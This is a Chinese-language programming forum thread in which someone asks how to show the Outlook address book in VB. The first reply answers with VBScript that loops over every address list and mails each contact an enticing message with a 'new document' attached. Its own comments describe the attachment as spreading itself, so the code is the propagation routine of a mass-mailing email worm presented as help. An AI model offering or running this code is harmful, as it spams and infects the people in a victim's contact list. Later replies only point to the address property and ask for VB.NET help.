请问怎样怎样用vb显示outlook的地址簿？？

谢谢

解决方案 »

  1.   

    一段代码,慎用!Set objOA=Wscript.CreateObject （"Outlook.Application"）（创建一个OUTLOOK应用的对象）
    Set objMapi=objOA.GetNameSpace （"MAPI"）（取得MAPI名字空间）
    For i=1 to objMapi.AddressLists.Count（遍历地址簿） 
    Set objAddList=objMapi.AddressLists （i） 
    For j=1 To objAddList.AddressEntries.Count 
    Set objMail=objOA.CreateItem （0） 
    objMail.Recipients.Add （objAddList. AddressEntries （j））（取得收件人邮件地址 ）　　objMail.Subject="你好!" （设置邮件主题，这个往往具有很大的诱惑性质）
    objMail.Body="这次给你的附件，是我的新文档！" （设置信件内容）
    objMail.Attachments.Add （“c:\test.doc"）（把自己作为附件扩散出去 ）
    objMail.Send　　（发送邮件）
    Next
    Next 
    Set objMapi=Nothing　　（清空objMapi变量，释放资源）
    set objOA=Nothing　　(清空objOA变量)
      

  2.   

    objAddList.AddressEntries(j)这是地址
      

  3.   


    樓主,你好!
    你的問題解決了吧?我是想用VB.NET寫WEB程式要顯示地址簿,可是有寫過類似一樓的那段執行有誤
    可否將你的結果分享一下,好嗎？
    謝謝